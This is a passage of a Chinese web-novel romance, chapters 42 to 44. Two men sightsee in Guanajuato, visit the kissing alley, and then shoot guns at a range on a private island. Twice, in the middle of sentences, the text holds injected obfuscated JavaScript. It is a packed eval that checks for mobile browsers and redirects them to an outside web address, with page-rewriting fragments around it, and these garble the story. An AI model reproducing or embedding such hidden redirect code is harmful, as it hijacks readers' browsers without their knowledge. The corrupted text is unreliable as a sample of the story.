戚时知道肯定是安德森提前吩咐过了,就跟何湛程说,今天这行程紧得跟出差似的,知道的是来旅游逛街,不知道的还以为是来完成任务呢。 而且,他在尤卡坦半岛的奇琴伊察金字塔都没看,大老远跑来看亮瞎人眼的彩色屋子,听起来有点舍近求远了。 何湛程斜他一眼:“你喜欢看我,还是喜欢看金字塔?” 戚时牵住他手,笑:“当然是你。” 何湛程得意地抬起下巴。 戚时低笑着,在他嘴唇上亲了一下。 “苦的。”戚时低下头来,将鼻尖与他相抵。 “早上喝咖啡了,”何湛程摸摸嘴边,说,“很苦么?那我以后不喝了。” “咖啡是苦的,”戚时笑望着他,“但我记得喝咖啡的舌头好像是甜的。” 何湛程眼尾折出笑弧,对着戚时吐了下舌头,大胆勾引:“是这个么?” 戚时嗓音喑哑,低低应了声“是”,凑近想和他接吻,何湛程使坏又把舌头收回去。 戚时不痛快地瞪他一眼。 何湛程一阵嬉皮笑脸,手上使劲儿,拽着戚时就往前走:“走,先玩儿去,回家再亲!” 戚时欲求不满,兀自愤愤:“那是你二哥的家,不是我们的家。” 何湛程诧异回头:“‘我们’的家?” 戚时立刻道:“口误!” 何湛程“切”了一声。 这是一座依山而建的小城,庄严如华雷斯剧院新古典主义立柱上盘踞着的镀金狮鹫,淳朴如路边贩卖彩陶骷髅的老妪与吹奏小号的街头艺人;这是一座承载着厚重殖民史的城市,17世纪欧洲巴洛克末潮的风暴疯狂席卷过凝聚着土著原住民无数血汗与泪水的银矿山,墨西哥原住民抵御之际释放出的狂野凶悍与之相激荡融合,渐趋形成别具一格的瓜纳华托风情文化。 二人穿梭在迷宫般的城市街道,正午阳光穿透赭石色的屋顶,明媚春光流泻过堆簇着锦簇繁花的、橘红、粉白或湖蓝色的彩墙,在狭窄静谧的街道投下几何形建筑的阴影。 何湛程带了相机,装在戚时背包里,一路走走逛逛,等着下午两三点最佳拍摄时间,拉着戚时一块儿坐缆车俯瞰全城,拍下了明黄色外墙与血红色屋顶的圣母大教堂,还有铺满山坡的糖果色屋群落。 以及,两张戚时的游客照。 出门前,俩人衣服都是在何湛程橱柜里选的,瓜纳华托今日气温23℃,二人都是T恤加薄衬衫配长裤,轻便又舒适。 何湛程穿深红宽松T恤和卡其色伞|兵裤,浅色牛仔外套,一头潮流锡纸烫,脚底下穿着和戚时同款的白球鞋,三分痞气不着调,七分青春男大的朝气蓬勃。 戚时身上是件刺绣黑T恤,胸腹间,一头精神抖擞的美洲豹在荒原中行走。 二十七岁的男人,五官凌厉,青皮寸头,身体健壮,戴一顶藏青色棒球帽,下身是和何湛程外套相搭配的牛仔裤,右肩挎着个旅行包,举止间谨慎持重,走哪儿都要将身旁人给遮住,生怕何湛程突然看上哪个路人帅哥就跟人跑走了。 何湛程发现,如果他不跟戚醋缸牵着手走,戚醋缸就会表现得很神经质。 何湛程让戚时站在一条绚彩斑斓的窄街中央拍了一张,俩人登上皮皮拉山瞭望台后,他又让戚时背靠整座瓜纳华托小镇拍了一张。 戚时拍照的表情和动作永远都是一个:双手插兜,一脸庄肃地凝眸盯着镜头,跟拍证件照似的,连“耶”都不会比。 何湛程想多拍几张,手把手教戚时摆pose,指挥人说“茄子”,戚时很抗拒,一个劲儿说“不会”、“不”,“我不想摆”,磨蹭了一个多小时,何湛程马上要动怒发火了,戚时才缓缓抬头,望着他:“为什么只拍我一个?” 何湛程脱口而出:“因为你帅啊!趁着年轻,我帮你多拍点照片存着以后留念不行?” 戚时锁紧眉头:“要是过两年我不帅了呢?” 何湛程笑:“怎么会,我们二哥到老了都是大帅哥!” 戚时步步紧逼:“如果我毁容了呢?” 何湛程讶然:“为什么会毁容?” 戚时不痛快地别过脸去:“不知道,可能哪天去美容院打个针就打残了。” 何湛程莫名其妙:“那你就别去呗,你又不需要打针。” 想了想,又认真警告道:“你不许去打针,我喜欢纯天然的。” 戚时盯着他看了一会儿,突然说:“过来吻我。” 何湛程搞不懂今天阳光明媚风景如画的,这人心情怎么就又不好了。 耐着脾气,将相机放回背包里,然后将外套脱下,挽在臂间,朝戚时走过去。 他先气势汹汹瞪了戚时一眼,戚时无动于衷,丝毫没有要动的意思,何湛程没脾气了,挽外套的手伸出,按在戚时腰间,另一手摁着人后颈,闭上眼,缓缓凑过去和人接吻。 舌尖才探索进去,戚时突然就发了癫,猛地一把将他拽进怀里,压上来的脸几乎将他鼻子挤皱,就像极度缺氧的濒死之人,戚时埋头张口大力吸吮着他舌头,在他口腔里疯狂地劫掠索取,那双铁钳般的手臂禁锢住他腰,恨不得将他整个人勒断。 何湛程被勒得骨头都要碎了,急喘几口气,颤声道:“你轻、轻点儿。” 戚时登时呼吸粗|重起来,双臂反而收拢得更紧。 “不想让我在这里把你办了,你就别再勾引我!” 何湛程:“……” 二人吻技渐长,两条火热的舌头像蛇一样暧昧交缠,彼此胸膛在急促的呼吸间激烈碰撞着。傍晚时分,夕阳西下,异国山顶的瞭望台上,他与他紧紧相拥,耳畔微风拂过,远处山峦间回荡着教堂的钟声,近处是令人脸红心跳的水声与喘|息声。 许久—— 大约过了一个世纪那么久,周遭陆续有别的游客登顶,附近很快热闹起来,他们默契对视一眼,交叠的身躯缓缓分开。 何湛程揉着自己快断成两半的腰,嫌怨地瞥了一眼戚时,本以为对方爽完了多少会哄他两句,没料那狗畜生居然抬手一擦嘴,干脆利落地转身拎着背包就要走。 何湛程愣了一下。 下一秒,满腔火气瞬间烧起来! “戚老二你是不是人!”他疾步追在人身后,一边穿着外套,一边喋喋不休道:“你良心呢!你有没有心!妈的,亏得我还怕扣子咯着你,好心把外套脱了,你倒好,光天化日之下差点把我裤子扒了也就算了,完事儿了连个屁也不放就要走?你他妈当这是下馆子吃饭,你吃完走啊?你是不是傻叉!你良心都让狗给吃了?!” 戚时充耳不闻,等他说完,偏脸问:“逛差不多了,几点走?” 何湛程被这不解风情的狗男人气得心脏疼。 他费力地揉着腰,走到戚时身前,故意横着肩膀撞对方一下,然后一瘸一拐地走在前面带路。 “还有个地方没去呢,先去逛一圈再走。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416558|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“什么地方?” “……咳,你去了就知道了,也是个景点呢。” “一座城的建筑风貌都是大同小异,看多了没什么稀罕的。” 何湛程满脸不爽地回过头,伸手指隔空点了点他,威胁道:“你再敢扫我的兴,你信不信我就把你扔这儿了。” 戚时两手一叉腰,身板笔挺着站直,淡淡然望着他:“是么,我觉得在你扔掉我之前,我就先追上你了。嗯,说不准还能超过你。” 何湛程恨恨磨着牙冷笑。 像戚时这种费力不讨好的钢铁直男就适合一个人孤独终老! 他就不应该寄希望和这种人一块儿创造什么浪漫美好回忆! 戚时望着他,眼神有些松动。 “很疼么?” “废话!” 戚时到底不忍心看何湛程像个半残疾人走在大街上,收敛起脾气过来搀扶他。 倒不是不生气了,臭小子敢嫌弃他年纪大,他刚才没咬死他就不错了,只是…… 只是臭小子这么一张调皮捣蛋的帅脸,再配上这么矫揉造作的姿态,引得好几个穿着吊带与波西米亚风长裙的漂亮女游客、还有两个英俊的金毛青年靠近过来想扶他,那怎么可以?! 何湛程鬼哭狼嚎大半天,可算是有效果了,整个人倚靠在戚时肩上,装出很懂事的样子,冲人软语撒娇。 “二哥,你真好。” “哎呀,你为什么这么好呀?” “哦!我知道了!因为你是青春永驻的大帅哥,所以才会这么好的!” “哼,”戚时耳根浮上一层薄红,态度依旧冷硬,“少给我整这些甜言蜜语,老子才不吃你这一套!” 何湛程吭吭哧哧又笑。 他发现戚时还挺好哄的。 再次牵住身旁人的手,何湛程低下头,将出门前戴在腕上的那串沉香珠露出来,轻轻蹭着身旁人裸露的小臂。 夕阳余晖铺满街道,梦幻昏黄的光穿过他二人挽在一起的双手,雪白细瘦的腕间,两颗南红释放出柔和的暗光,奇异瑰丽,无声渗透进他与戚时的肌肤里,隐秘地构建着他与他漫长生命的联系。 “戚时。” “嗯?” “夕阳真好看啊,是吧?” “嗯……就那样吧。” “扫兴!” “你最好看。” “嘁!!!” 在快抵达最后一个景点之前,何湛程跟戚时讲了一个墨西哥版《罗密欧与朱丽叶》的故事。 说是在西班牙殖民时期,这里有一个叫安娜的富家千金和一个叫卡洛斯的贫穷旷工相爱了,他们的爱情遭到了世俗的反对,于是卡洛斯就租下了一间和安娜家阳台相邻的房间,两侧房屋阳台几乎靠在一起,最窄处仅有68厘米,这对恋人便在这里进行幽会。 后来,安娜的父亲发现他们相恋后,愤怒冲昏头脑,用匕首刺死了安娜,安娜在临死前深情地吻了卡洛斯,这一吻成为了他们爱情的象征,卡洛斯随后也在安娜的遗体旁自|杀,以示对她的爱和忠诚。 安娜的父母发现他们的尸体后,意识到自己对爱情的偏执和错误,悔悟不已,很多人将这个凄惨的爱情故事传播开来,从此,这条巷子里的那一对阳台就成为了纪念这对恋人爱情的地方,人们相信在这里接吻可以带来好运。 “当然也有人认为会带来厄运,”何湛程笑说,“不过主流说法是,如果情侣在巷子的第三级台阶上接吻,他们就可以获得七年以上的幸福。” 戚时早掏出手机,快速搜索这个何湛程不肯告诉他名字的景点,浏览详细介绍过后,偏头冲人一挑眉,说:“接吻巷?专门亲嘴儿的地方?” 何湛程脸上一红,应了声“是”。 戚时不太赞同:“不是说也可能会带来七年的厄运么?” 何湛程不甚在意地挥挥手:“那是少数人的言论,可以忽略不计!” 说话间,两人已然走到巷子里。 那面据说是被安娜用鲜血染红的墙壁,有不少来自世界各地的游客靠在那里接吻,可正如之前所言,这条街道狭窄至极,长二十米的小巷,最窄处仅45厘米,想要去阳台上接吻的恋人实在太多,几个从希腊过来的游客说,这里从中午就排起了拥挤的长队,他们也是先逛了其他景点才最后过来的。 何湛程和戚时手牵着手,站在队伍最后一排,一齐抬头上望。 鲜花堆簇的粉红阳台与深橘阳台,一对衣着朴素的中年夫妻正在深情接吻,旁边专业摄像师在为他们拍照。 戚时低声跟何湛程吐槽:“亲个嘴儿还要把摄像头怼这么近,他好意思拍,我都不好意思要。” “是么?”何湛程讶然扭头问:“那我之前送你的那些拍立得,你全都扔了?” 戚时不自在地摸摸鼻子:“没,都好好存着呢。” “存哪儿了?” “一个非常安全的地方。” “保险柜?” “我枕头底下。” “………………” 何湛程笑眼眯成一条缝,好奇逗他:“是每天夜里都会拿出来欣赏的那种‘存’吗?” 戚时不为所动,呵斥道:“你还好意思问?你看看你拍的那些东西都像什么话!” 何湛程笑意更浓,一歪头:“那你喜欢吗?” 戚时冷冰冰地别过脸,不作回答。 何湛程威胁:“不说话就是不喜欢,不喜欢的话,我以后再也不给你发了。” “喜欢。”戚时飞快地说:“爱看,多发。” “哼!” 他们最后没能等到去阳台上接吻的机会。 等待时间实在漫长,戚时都快忘了他上次排这么长队是什么时候,为着一个真假不详的传说,忍着拥攘聒噪的队伍,置身周遭完全听不懂的语言环境,他才没兴趣凑着热闹。 但兔崽子说想去,他掏出钱包试图花钱插队,遭到前排一众人抗议鄙视,然后就更待不下去了。 何湛程又气又无语,眼睁睁看着戚时被一群人嫌弃地赶回来,一副毫无虔诚之心只想速战速决、被拒绝后自己居然还委屈上了的臭德行!! 可对方嘴里碎碎念着翻译软件上现学的塑料西语,一路往前抛头露面不停冲游客们塞钞票也都是为了自己,何湛程愤愤磨着牙,又舍不得说他。 天色渐晚,温度骤降,何湛程很快着了凉,一个惊天大喷嚏冷不丁就打了出来,他瑟缩着,忙将外套抖开穿上,低头系着纽扣,后背蓦地贴上来某人热烘烘的胸膛。 戚时从身后将他抱住,十指穿插过他的手,一颗颗帮他系好扣子,光洁的下巴蹭着他脖颈,低语道:“程儿,不想待了,咱走吧。” 一句“就快到咱们了”还没说出口,何湛程接到了当地接待人的电话,对方说根据他的航程安排,这会儿差不多该走了,问何湛程,他现在要不要来接他们去机场。 “可以。”何湛程没再执着,挂了电话,和戚时一起原路返回。 他本身也不是执着的人。 晚七点的飞机上,二人并座,何湛程托腮望着窗外黑浓的夜天,安静地出神。 戚时有些抱歉地握住他手,安慰着:“没关系,明天再去也一样。” 他也是上了回程的飞机后才猛然意识到,何湛程是专门为了带他去接吻巷定情,才特地筹划的这一天旅程。 何湛程摇摇头:“算了,我都安排好了,明天去老二岛上的靶场玩儿,我还想教你打枪呢。” 戚时来了兴致:“你也会玩儿枪?” 何湛程嘴角一扬,扭头瞥他一眼,视线从戚时好奇的眸光缓缓移到他裆下,语气轻挑:“有什么稀奇的,长枪大炮我都玩儿的。” 戚时莫名被调戏一番,好气又好笑,说:“那行,那我们后天再去。” 何湛程诧异:“后天你不就要回国么?” 戚时轻咳一声,说:“……那、反正早晚有机会的。” “再说吧,”何湛程懒懒道,“最近不想去了。” “为什么?”戚时忍不住问。 他才刚意识到少爷对自己隐秘的深情,少爷就又开始原形毕露了? 少爷心里窝着火气,继续托腮望着窗外夜景,头也不回地说: “不想就是不想,既然你不在乎,那我也不在乎。” 43.第43章 翌日早,别墅庭院里经过一个身着迷彩的肌肉猛汉,五官深刻,深黑短发,据说是来自中东地区的退伍雇佣兵,他粗壮右臂纹着黑鹰,步履间军靴带风。 将要进门时,头顶露台忽地传来一声呼唤,那汉子抬头上看,见好友家的三少爷赤着精白上身,长腿穿一条碎菊花蓝底沙滩大裤衩,手里端着杯牛奶,笑吟吟的,正搂着一位新情人靠在白玉扶栏朝下望。 是位长得很英俊的东方情人,汉子瞄了一眼,就是对方脸色不太好。 不过,跟在少爷身边还能随心所欲摆臭脸,可见其得宠程度。 汉子就冲那位东方情人点了点头。 东方情人冷哼一声,手里抖出件真丝薄衫,披在少爷肩上。 汉子一愣,随即又笑。 原来是一位擅长嫉妒的东方情人。 “吃饭了吗?”少爷问他。 “还没有。”汉子笑回。 他每次见这位漂亮少爷,对方都习惯问他吃饭了没。 “我们给你留了一份中餐,请你尝尝。”少爷朝他举杯。 安德森闻声出门迎接,邀请汉子进屋先用餐,汉子招手对少爷道了句谢,笔挺魁梧的身姿隐没在廊檐下。 少爷抬手喝了口牛奶,薄衫从肩膀滑落,身旁男人瞪着他,鼻孔呼哧呼哧地喷气。 何湛程斜他一眼:“干嘛啊,大早上的就哮喘?” 戚时眼神幽怨:“我不想你露这么多给别人看。” 何湛程下巴一抬,岛屿崖下的浪涛正激打着黑礁石,他说:“这是海边,雷萨是我们家老二的好哥们儿,待会他开直升机载咱们去岛上打靶,我跟他多聊两句怎么了?” 戚时态度强硬:“就算是在海里,你也不准这么露!” 何湛程盯着他看了几秒,忽地将牛奶杯塞回他手里,转身进屋里换衣服。 渐远的声音清冷无情: “你管得着么。” 戚时站在原地,沉眸望着那人半裸的修长背影,左手攥着真丝衫,右手握着只喝了半杯的牛奶,心里好一阵懊悔。 他谈恋爱向来以自己的感受为主,昨天在接吻巷,他只是单纯觉得很没意思,加上何湛程又着了凉,他怕人感冒才提出要走的。 何湛程想也不想就同意了,这让他以为对方也不是很在意这些虚的,毕竟按照何湛程的性子,如果真想继续等,那人稍微磨他几句,他肯定会陪着人待下去。 没什么大不了的事。 直到他上飞机后察觉到身旁人的落寞。 那小子本来是打算跟他表白的吧? 戚时看出来了,心里惋惜得很,恨不得立刻拽着人回去重来一遍,他发誓,他肯定会老老实实排队,绝不嫌弃吐槽,绝不再搞插队,并且何湛程让他摆什么pose,他一定百依百顺摆什么pose! 可惜少爷情绪如潮水,涨落有时,他强求不了,只能尽量不去惹人生气。 昨夜和少爷一起睡觉,戚时表现得很老实,只是趴在少爷身上和人啄了几下嘴,连接吻都没敢。 他还从未经历过和人盖着被子纯聊天这种事儿,不过喜欢裸睡的少爷身上很香,细腻肌肤如丝绸般泛着凉意,他睡眠质量直线上升,欲求不满的同时,又感受到一种他在和少爷一起白头偕老的幸福。 早上起来,戚时惯例问候,一抬头,惊讶地发现少爷竟然熬出了黑眼圈。 戚时问对方怎么回事,是不是半夜压着他了?何湛程臭着一张脸,说他夜里打呼噜,害得自己一整夜没睡,然后猛地一个翻身就跑去浴室冲凉水澡,十分急不可耐。 戚时尴尬又心疼,连忙下楼去给少爷热了杯牛奶。 少爷喝了他的奶,戚时就以为他们俩和好了。 可难得的,少爷这种豁达性子,居然肯记一个人的仇。 戚时端着牛奶,默不作声跟在少爷屁股后面转悠,少爷动作暴力地翻箱倒柜挑衣服,上一秒摔门,下一秒砸抽屉,赤脚踩在地上噔噔响,余光一瞥,发现戚时尾随,心火更盛,气得半天提不上一条裤子。 戚时很有眼色,将牛奶放在橱柜边,从背后将人紧紧抱住,手把手帮少爷提裤子。 “程儿,”他歪头咬上少爷发烫的耳朵,烟嗓低沉,“来,这么提。” 何湛程耳根爆红,扭头大力推他一把:“去死吧你!” 砰一声,少爷力壮如牛,戚时被推撞上身后的四敞衣柜门,侧腰咯到叠放衬衫的硬横板上,疼得他闷哼一声。 “嘶——骨头断了……”戚时眉头紧皱,扶着腰倚着柜门,满脸痛苦。 何湛程有点慌,双手无措地捏了下裤边,强壮镇定道:“你、你少来!你练的肌肉都是白长的?关键时候就不管用了?” 戚时额角青筋爆出,咬牙忍着痛,一副想发火又无可奈何的样子:“老子练体育的时候骨折过好几次,有旧腰伤!” “你不早说!”何湛程忙凑过来看,一把撩开戚时的黑背心,冰凉凉的手指绕着戚时的侧腰摁来摁去,急声询问:“这里吗?还是这里?很疼?艹!说话!艹!不行!你别说话!我现在叫个医生过来给你看!” 眉宇间正色起来,何湛程立马掏手机就要拨号,身后传来一声轻笑,何湛程愣住,下一秒,腰间搂上一条结实的手臂,疾如闪电将他一把捞进怀里。 砰! 戚时霍然翻身,将何湛程整个人压在闭合平整的柜门上,一手攥紧对方两只手腕举过头顶,另一手钳在怀中人腰间,一双深邃笑眸,自动忽略过何湛程的惊愕表情,对着何湛程的嘴就大力啃了上去。 “崽儿,知道你还疼我,我就不疼了。” 咬住怀里人嘴唇,因为贪恋那过分的清香柔软,戚时每次都喜欢先咬磨两下,再伸进去逮舌头。 被圈禁在狭窄空间,大概知道挣扎闹腾没用,何湛程难得安静地任人摆布,甚至闭上眼,抬下巴与人亲密配合。 等戚时一吻结束,何湛程肿着嘴,抬眼望他。 戚时一笑,松开手,替他擦了擦湿漉漉的唇。 何湛程却忽地抱住他,垫着下巴在他肩头蹭了蹭,似乎像轻松了一口气。 “大宝贝,你要好好的。” 戚时笑着揉了揉他的鸡窝头,手臂环住他腰,也将他抱住,埋头在他颈窝吸了两口气。 “大宝贝知道了,谢谢小宝贝。” 一架通体全黑的直升机轰隆隆从别墅天台上飞起,凌空于无限广阔海域,朝西南方向的私人岛屿上进发。 雷萨坐在驾驶座,动作熟稔地操控着驾驶台,告诉身后黏在一起的两位:“这架直升机名叫黑鹰,因为一流的抗毁能力强和高使用寿命,常做军用飞机,哪怕在地势高、空气稀薄的青藏高原上也能灵活飞行。” 身后黏在一起的二位,因为不想分开,没人来坐副驾,更没人和他聊天,当下全挤在后面二人座扒拉手机,兴奋激烈地讨论待会将要使用的各类枪型,雷萨回头瞥了几眼,见三少爷得意洋洋地和他那位英俊的情人聊起打枪的经验,不禁莞尔。 犹记得半月前,少爷被坤领来靶场玩儿,一身冲锋衣全副武装,只是总一副兴致缺缺的模样,看起来很没精神。 坤热情地向弟弟传授经验,少爷态度敷衍,望着绿荫草地上摆得黑色人靶出神,学习能力倒很强,小枪型上手快,少爷试了几把小格|洛克和m249,一个新手,命中率就在85%,后来觉得不过瘾,架着把巴|雷特突突突扫射,子弹打得满天飞,似乎不是为了命中,而是发泄,一下午连耗三大箱子弹,到傍晚天黑,少爷摘下降噪耳罩往旁边一扔,说了句“没劲”,两手插兜,打着哈欠回去睡觉了。 少爷在那个英俊的男人面前却不一样。 就像个对一切事物充满新奇感的欢乐小孩,一张清俊冷淡的脸始终焕发着动人的光彩,笑声更是清朗动听。 少爷一笑,那个似乎要年长些的男人也笑,两人一路净讨论些“如果你用M93打我,我就用M200打你!”、“切,老子怕你?谁还没摸过枪,老子玩和平精英的!”、“我是新手咋啦,那也比你强!你不相信我,那干脆让雷萨教你好了啊!”、“你这身娇肉贵的大少爷能扛动巴|雷特?骗鬼呢?!”、“嗯嗯嗯是我扛不动,刚才谁不知道碰了一下衣柜就鬼哭狼嚎的,大把年纪了也不嫌丢人!”、“艹!你再给老子说一遍?谁大把年纪了!”……无穷无尽的聒噪。 两个幼稚鬼小孩。 雷萨忍俊不禁。 心想,这不是一对情人,这是一对恋人。 直升机很快就降落在岛屿,纵横四顾,整座岛屿随处可见聚集的施工队伍,按照岛屿主人的设计蓝图,这片200多英亩的荒地,将在五年后开发成面向全球富豪群体的高奢度假庄园。 除去高尔夫练习场、潜水、跳伞、私人婚礼定制等开放性项目,另有与所辖ZF协约合作建造的靶场射击基地、私人研究所、濒危动物生态环境保护区、艺术交流中心等,可为科学家、艺术家、各行各业的富豪等提供休闲娱乐,重要基地则由岛屿所辖ZF派来的退伍雇佣兵在重械把守,兼具私密性与安全性,同时监督何棣坤这个心口不一、行踪不太老实的异国商人。 幸而何棣坤与这群雇佣兵的头儿——雷萨,十分投缘,二人相处还算和谐,何棣坤偶尔搞点小动作,只要不触碰协约规定的底线,雷萨也权当看不见。 沿海浅滩尚在建设工程,一片茂盛棕榈树林前,白沙空地上堆着成片的钢筋木材;西北港湾处新开辟了码头,当下停着两艘亮白的游艇,水面波光粼粼,映着一轮从海平线上升起的红日,在游艇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15427243|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 外壁两侧反射出金色的光。 何湛程跟戚时讲,他家老大小时候流亡在外,经历过暴动与枪战,别看何闽轩总一副气定神闲的跩样,实际上别说听到枪声了,那人就是听炮仗声都会应激到浑身发冷汗。何闽轩每次被他吓一次,起码要缓好几个小时,所以这辈子只想待在国内。 何老大认为,全世界只有国内最安全,所以他哪里也不要去,国内毗邻东南亚地区的边境也不要去,生意上遇到需要他亲自到场的,一律派何老二替他出马,宁愿给生意伙伴写亲笔信道歉,也绝不踏入半点有安全隐患的地域。 于是何老二就成为整个家族有实权、且最喜欢出门耍的浪子。 何闽轩十七岁踏入集团董事会,何棣坤与他相差三岁,等何闽轩在集团稳固了地位,何棣坤也才刚满十八。 刚满十八好,正是喜欢四处闯荡泡妞玩男人的好年纪,凭借这五六年在国内外攒下的人脉资源,加上何家雄厚的实力背景,何棣坤年少得意,狮子大开口,找何老大要了五个亿,跑来墨西哥搞度假村建设。 何棣坤是打着反恐反走|私、保护海洋生态环境、维护国际海域治安和平的旗号,找到岛屿所辖ZF协商合作,签订一系列互利互惠条约,才终于把这块地给拿下。 何棣坤的度假庄园,何闽轩持股10%,本来何闽轩嫌老二贪玩不务正业,派了心腹来这边监工,没料何棣坤情场失意,又刚犯了事儿从牢里里放出来,身份敏感,不便在国内生意场上行走,于是跑来墨西哥度假,把何老大监工的几个人全给撵回去了。 何闽轩起初不同意,说老二不靠谱,这么大个项目要是因为何棣坤任性就砸手里了,他把何棣坤宰八百遍都不够赔的! 何棣坤第二天就甩给他大哥两个账本,吊儿郎当,但态度鲜明:何老大的人贪了他两千多万的油水,他们再不滚蛋,他直接掏枪把人给毙了。 何老大于是就没再吭声。 何湛程认为,这事很难说不是他大哥授意,因为老二吃喝玩乐花的钱几乎和做项目一样多,五个亿对半分,倒不如令人紧缩点,也好控制。 没料何棣坤长大了,脾气也大了,不好糊弄,老大才不得不放手。 戚时不太理解,说,你们何家三个兄弟又不争夺财产,干嘛彼此的关系搞得这么复杂,亲兄弟还玩制衡那一套,多伤感情啊。 何湛程挠挠鸡窝头,不太自在地一挥手:“你不懂,家家有本难念的经,我们家的经更是又臭又长,一时半会说不清楚。” 戚时一把将人搂怀里,胳膊搭在他肩头,问:“那,你明知道你大哥怕枪响,你还吓唬他?” 何湛程别过脸,嘟嘟囔囔道:“谁让他从小就不喜欢我,整天板着个脸,也不对我笑,我闲着没事了,就忍不住想放鞭炮逗逗他。” 戚时挑眉:“你们家那么大,在庭院里放鞭炮的话,里面应该听不清楚吧?” 何湛程心虚地低下头,声若蚊蝇:“谁说我在庭院里放了……” “那你在哪儿放?” “他屋里……” “………………” 何湛程一抬头,见戚时不悦地皱起眉,心里一慌,忙在人胳膊上揪起一丢肉,死命掐他一下。 戚时这次是真疼得叫出声来,两眼喷火,捂着胳膊叫嚷:“你干什么!” “我错了,我都知道错了!”何湛程理直气壮地喊:“我跟老大已经和好了,你敢嫌弃我一个试试,你敢不喜欢我试试?!” 戚时:“……” 这哪儿来的疯狗,他的兔崽子呢? 兔崽子一把抓起他胳膊,啪一声重新搭自己肩膀上,扭头瞪他,命令道:“继续!搂着我!” 戚时又气又笑,揽臂搂人进怀,勾指刮了下何湛程的鼻尖,嘱咐道:“以后要尊重你大哥,不能再没礼貌了,他一路走来不容易。” “知道了,”何湛程一脸笑容灿烂地卖乖,“我都听你的!” 笑容灿烂完,心里闪过一丝狐疑。 戚时什么时候跟他大哥这么要好了? 就算他大哥迫于压力把他出卖给戚时,可戚时向来强盗做派,从不觉得亏欠,更不该这么向着他大哥吧? 看看这人刚才臭极了的脸色,恨不得下一秒就要替他大哥替天行道,搞得好像何闽轩是戚时自己的大哥一样。 正要开口问戚时是不是背着他偷偷跟何老大交易了什么,身后百米外传来一声呼哨,二人不约而同转头回望,就见雷萨驾驶着辆军用越野车,后座站着两个手持重械的魁梧壮汉,从停机坪方向朝他们疾速迅猛地奔来。 须臾,车尾尘土阵阵飞扬,越野车停到二人跟前,雷萨扭头冲他们憨笑两声,为了表达对戚时的友好,他操着一口有点蹩脚的中文说道:“上车吧,我们去靶场!” 44.第44章 打靶场在山谷里的一处平坦腹地,离着停机坪很近,目前是半开发状态,草地都推秃了,风一吹,湿泥土味混着枯草味,空气吸到肺里,整个人躁动起来。 四周设有密密麻麻的电网和围栏,放置枪支弹药的仓库由所辖ZF的军卫把守,闲人不得入内,连何棣坤进去溜达一趟出来都要被搜身检查,可见当地ZF对枪支的管控异常严格。 戚时心想,幸亏管控严格,不然就凭何老二随便拿枪指人脑袋的臭毛病,他成天跟这种喜怒无常的疯子住在一起还挺危险的。 何湛程摇了摇手指,连说三个no。 何湛程解释,这是因为他家老二不老实,雷萨他们才对他进行地毯式搜身。 据说某次何棣坤从里面偷摸顺了把AK,下午在游艇上开party的时候朝天上打鸟玩儿,岛上听到枪声立刻响起了警报,雷萨带着一众人全副武装地赶来,发现原来是某个喝高了的酒鬼在拿他寻开心,一瞬间生气又无语,从此再不允许何棣坤乱来。 戚时犀利点评:“你俩真不愧是亲兄弟。” 雷萨叫人拎来几箱轻重不一的家伙,摆在射击台前,两个安全员也围过来,告诉戚时一些注意事项,见戚时已然从何湛程口中解过,他们便开始一一为他们介绍枪型。 “这把是Glock17,这一把是Beretta92FS,这两把都是手枪,一把枪体验一次40美元,五十发子弹算50美元,不过我们是自己人,随便玩,随便打。” 安全员在一旁说,何湛程同声传译给戚时听:“这把AS50是半自动的,能5发连射,这把T5000是俄制顶级高精度狙击枪,钛合金枪机,中东战场上用这个最多。” “这把HS.50是无托式设计,后坐力不强,我没试过,但他们说这把穿透力比巴|雷特还强。” 接着,何湛程递给他一把黑色的沙|漠之鹰,说:“这一把,你掂量掂量,看看用得惯么?” “老二和雷萨他们玩儿的时候经常用这款,一般肌肉练不到位的人拿不稳,我上次试过,虎口被震得有点疼,打了十发以后就没再玩儿了。” 自从踏入射击场,戚时上扬的嘴角就没停下来过,全程陪站在他家无所不能的少爷身边见世面,看着面前一排排形状各异的枪型,任何型号都随便摸、子弹也随便打,心情雀跃又亢奋,直到接过来这把重型手枪,戚时有些紧张地握在手里,感受着游戏世界完全感受不到枪的纹路与重量,终于觉得这一切真实得不像一场梦。 戚时低着头,将手里这把黑色的沙|漠之鹰辗转反复地看,美得直接笑出声来。 “怎么样?”何湛程看出来了,笑了声:“喜欢么?” “当然!”戚时横身举枪,眯起眼,动作标准地瞄准百米外的人形靶,自动配音:“biubiu!biu!biu!biu!” 何湛程笑起来,说:“不是biubiubiu,是砰砰砰!” 戚时也笑,再次瞄准,重新配音:“砰砰砰!” 何湛程拍了下他肩,笑道:“喜欢的话,经常来练,回头再考个狩猎执照,这把枪就是你的了。” 戚时诧异扭头:“真的假的?” 这个世上,没有任何一个男人会不喜欢枪。 尤其还是真枪。 尤其还是爱人要送给他的真枪。 多好啊,戚时想,他在这一刻感觉自己人生的幸福值达到了巅峰:在一个安逸的地方定居,每天和爱的人一起喝酒闲聊晒太阳,还有他家果汁儿,果汁儿成天待在那才三百多平的草坪上玩球,估计早就腻了。 果汁儿应该和他一样,扔掉锁绳,尽情在旷野里奔跑才会开心。 如果何湛程高兴,他愿意随时陪少爷坐飞机去世界各地旅行,手痒了就来射击场打枪—— 不,他很快就可以拥有一把自己的枪了! 这才是他想要的生活。 戚时突然对过往的旧生活充满了怨恼和嫌弃。 